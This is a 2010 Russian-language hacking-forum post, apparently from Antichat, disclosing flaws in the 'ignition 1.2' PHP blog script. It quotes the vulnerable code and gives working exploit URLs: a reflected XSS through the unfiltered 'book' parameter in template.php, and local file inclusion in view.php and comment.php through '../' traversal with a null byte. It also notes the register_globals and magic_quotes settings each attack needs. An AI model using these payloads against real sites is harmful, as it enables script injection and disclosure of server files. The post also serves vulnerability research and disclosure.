Показать сообщение отдельно

  #369  
Старый 20.04.2010, 06:09
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

ignition 1.2

XSS
/template.php
PHP код:
...if ($twitter) {
echo(
'<strong><a href="http://twitter.com/'.$twitter.'">What\'s going on?</a></strong><br />');
include (
'stuff/twitter.php');
echo(
'<br /><br />'); }
if (
$identica) {
echo(
'<strong><a href="http://identi.ca/'.$identica.'">What\'s going on?</a></strong><br />');
include (
'stuff/identica.php');
echo(
'<br /><br />'); }
if (
$book) echo ('<strong>Currently reading:</strong><br />'.$book.'<br /><br />');
if (
$game) echo ('<strong>Currently playing:</strong><br />'.$game);
echo(
'</div>..." 
Переменные нигде не определяються!

Результат:
http://localhost/ignition_1.2/index/main.php?book=1%3Cscript%3Ealert%28123%29%3C/script%3E

Условие:
rg=on

LFI
view.php
PHP код:
...session_start();
require (
'settings.php');
$blog $_GET['blog'];
if (
file_exists('posts/'.$_GET['blog'].'.txt')) {
include (
'posts/'.$_GET['blog'].'.txt');
}else{
die(require(
'404.php')); }
iheader($title);... 
Результат:
http://localhost/ignition_1.2/view.php?blog=../../favicon.ico%00

Условие:
mg=off

Аналогично
comment.php
PHP код:
...<?php 
session_start
();
require (
'settings.php');
include (
'posts/'.$_GET['blog'].'.txt');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"...
Тут mg всеравно!

Результат:
http://localhost/ignition_1.2/comment.php?blog=../../favicon.ico%00
Или замену нул-байта.
На PHP Version 5.3.1 надо mg=off

Последний раз редактировалось Strilo4ka; 20.04.2010 в 12:41..
 
Ответить с цитированием